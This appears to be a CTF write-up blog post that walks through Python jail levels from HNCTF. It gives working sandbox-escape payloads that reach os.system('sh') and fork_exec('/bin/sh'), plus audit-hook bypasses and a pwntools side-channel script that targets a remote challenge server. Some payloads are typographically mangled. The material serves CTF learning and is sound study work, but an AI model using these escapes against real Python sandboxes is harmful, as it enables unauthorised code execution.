pythonJail

# preface

# Thanks to 空白 crazyman, who brough us so much excellent ctf exercises. (Though I didn’t work out many of them that is.) Now the HNCTF has ended, I found some write up about the python jail problemspythonJail.

# LEVEL 1

level1

From the function filter, we sees that the symbol [" ’ ` i b] is banned. Which means (Show subclasses with tuple) ().\__class\__.\__base\__.\__subclasses\__()

is not allowed. What’s more, symbol ’ and " is banned, so it come to us that we may can use chr to splicing a string that we wanted.

Two possible payload:

getattr(getattr(getattr(getattr(()._class_,c),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
(().__class__.__base__.__subclasses__()[-4].__init__.__globals__‘system’)

open(chr(102)+chr(108)+chr(97)+chr(103)).read()
from thisBlog

level1pos

# LEVEL 2

level1

The length of the payload is limited to 13.

The answer according to 空白 is the function “breakpoint()”, which I didn’t figure out yet. However, there is another way. Use eval(input()) so that the program receive once again for your input! Seems a little bit like /?cmd=system($_POST[1]);$1=ls to escape the filter in php right?

# LEVEL 3

level3

This time, the maximum length of our payload is down to 7.

I didn’t quite understand yet, but function help() can help you passby the 7 words limit. Here is when I tried others’ payload, quite amazing and when I am available I shall come back to study it.

level3

# PYTHON2 INPUT JAIL

input(jail)

python2, another thing I am not familiar with…

Looking up others’ write up…

input(jail)

# LEVEL 2.5

level2.5

We can use breakpoint() to go into pdb, and rce is possible.

# LAKE

lake

# Strange christen.(Crazyman seems to name it ‘lake’ from ‘leak’?)

Use globals() to leak the key. And then get shell.

# L@KE

l@ke

# Another strange christen…

The maxinum length of payload is now 6, so only help() is possible.

But unlike cases above, this time module ‘os’ is destory or whatever. Now we comes to the base reason why we use ‘os’ above. help() can actually get you into any module in the python file, which includes __main__ ! And surely, the key can be found inside.


##### OK, now we've go through the first four level( designed by crazyman, that is). From level 5, there provides no source code.

# LEVEL 5

level5

Just rce can give you the flag.(unexpected) Later we will see how it shall really be work out.

# LEVEL 4

# (Why is it 4 after 5 I don’t know…)

4 bytes rce, seems impossible, so lets just guass it use os.system(input_data) to get your input and bingo.

level4

# LAkE

laKe

This time it imports sys module with audit hook, and direct RCE function like pty.spawn、os.system、os.exec、os.posix_spawn、os.spawn、subprocess.Popen is not available. Whats more, compile、eval、exec、open is unfetchable. However, there use random.setstate() to generate its random number, which is base on Mersenne Twister, and is crackable. In general, if we got the state of the random number generator, we can generate the same number. That leads two problems: There is only one ‘eval’ in the server code, but we need to execute more. How to restore the state BEFORE the random number is generated?

First, we need to know a thing named Assignment Expresions in python, or rather, walrus operator. Then, we package those formula in a list. They will be calculate from left to right. As for function, we can replace it with lambda . Some case can be view below:

https://ctftime.org/writeup/21982

https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#operators-and-short-tricks

Second, if we import random and print random.getstate at the beginning, we got a tuple back. which may look like: (3, (..., 624), None) . The first value ‘3’ and the last value ‘None’ is fixed. Only 624 numbers in the middle is changed. So if we assign the conter zero, we get the random number.

# payload:
[random:=\_\_import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]

# LEVEL 5.1

Dued to the unexpected solves in level5, crazyman gives another problem, stating level5.1.

nc and dir() (as it tells you to), found my_flag , try list(getattr(my_flag,'flag)) , got a AttributeError: 'flag_level5' object has no attribute 'flag' . So payload is list(getattr(my_flag,'flag_level5'))

Another way to solve this problem(though quite similar, the latter gets its shell)

level5.1_1
level5.1_2

# LAK3

lak3

Same as before, we can use the excate same payload. Though the official payload provides by crazyman is __import__('sys')._getframe(1).f_locals['right_guesser_question_answer']

# a good blog can refer

# tyPe Ch@nnEl

sideChannel

I haven’t quite understand yet. So I will put the payload beforehand:

One possible:

from pwn import *
from tqdm import trange

class Gao:
    def __init__(self):
        self.known = ''

def init(self):
    # self.conn = process(['python3', './server_type.py'])
    self.conn = remote('1.14.71.254', 28563)

def gao(self):
    payload = '((1)if(type(flag.split())(flag.encode()).pop({pos})^{val})else(True))'
    i = len(self.known)
    while True:
        for j in trange(32, 128):
            cur_payload = payload.format(pos=i, val=j)
            self.init()
            self.conn.sendlineafter('Payload:', cur_payload)
            s = self.conn.recvline()
            self.conn.close()
            if (b'Try' in s):
                return
            elif (b'bool' in s):
                self.known += chr(j)
                print(self.known)
                print(self.known)
                print(self.known)
                break
        else:
            raise Exception('GG simida')            
        i += 1
if __name__ == '__main__':
    g = Gao()
    g.gao()

↑ Can took some time(when I tried)

Officail:

for i in range(len(flag), len(flag)+100): # flag length
for guess in chars: # all possible chars
    print("guess: ", bytes(flag), chr(guess))
    payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})"

# LEVEL 4

# level 4 again

level4_1

Quite similar as before, just use bytes().decode() to pass the black list.

level4_1wp1
level4_1wp2

payload:

().__class__.__base__.__subclasses__()
#

​ ().class.base.subclasses()[-4].init.globals[bytes([115, 121, 115, 116, 101, 109]).decode()](bytes([115, 104]).decode())

There is another solution to this problem: I am not sure I fully understand it, so I put a link here beforehand.

# payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

level4wp3

# LEVEL 4.0.5

Same payload as last one.

level4.0.5

# LEVEL 4.1

Quite same as before.

level4.1

Ps, the bytes is now banned, but still you can use show subclassed with tuples to replace, like this:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

# LEVEL 4.2

Quite same as before…

level4.2

# Or rather use join :
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

# LEVEL 4.3

Quite same as before…

level4.3


##### The next few levels are become harder and harder.

# LEVEL 6

# repetition:

level6wp1
level6wp2
level6wp3

The basic idea is to RCE with _posixsubprocess.fork_exec . If we import it directly, it will trigger the audit hook. But we can pass it by using __builtins__['__loader__'].load_module('_posixsubprocess') or __loader__.load_module('_posixsubprocess') . Also, due to its repeatedly exct, we just shell like this:

import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

# LEVEL 6.1

This time, we only got one time to excute our payload. Though, we our learning above, we know that walrus operator can help us. Also, the shell will shut immediately, the blogger think of a interesting way to overcome this, by brute force, getting shell over and over again and try to input command. That works.

level6.1wp

# payload:
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(100000)]]
# or
[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]

# SAFEEVAL

Use lambda to wrap up RCE

payload:

(lambda: __import__('os').system('sh'))()

safeeval
safeeval

# LEVEL7

# Come back later to try to figure it out…

payload:

@exec
@input
class X: pass

import(‘os’).system(‘sh’)

# blog
↑# [organizers] Robin_Jadoul solution↑

level7
level7

# Ok, so that’s the end of the hnctf. There are some thing that may help you get further about pyjail:

https://gynvael.coldwind.pl/n/python_sandbox_escape

https://www.youtube.com/watch?v=Ub_BMOMDOx0

https://zhuanlan.zhihu.com/p/578966149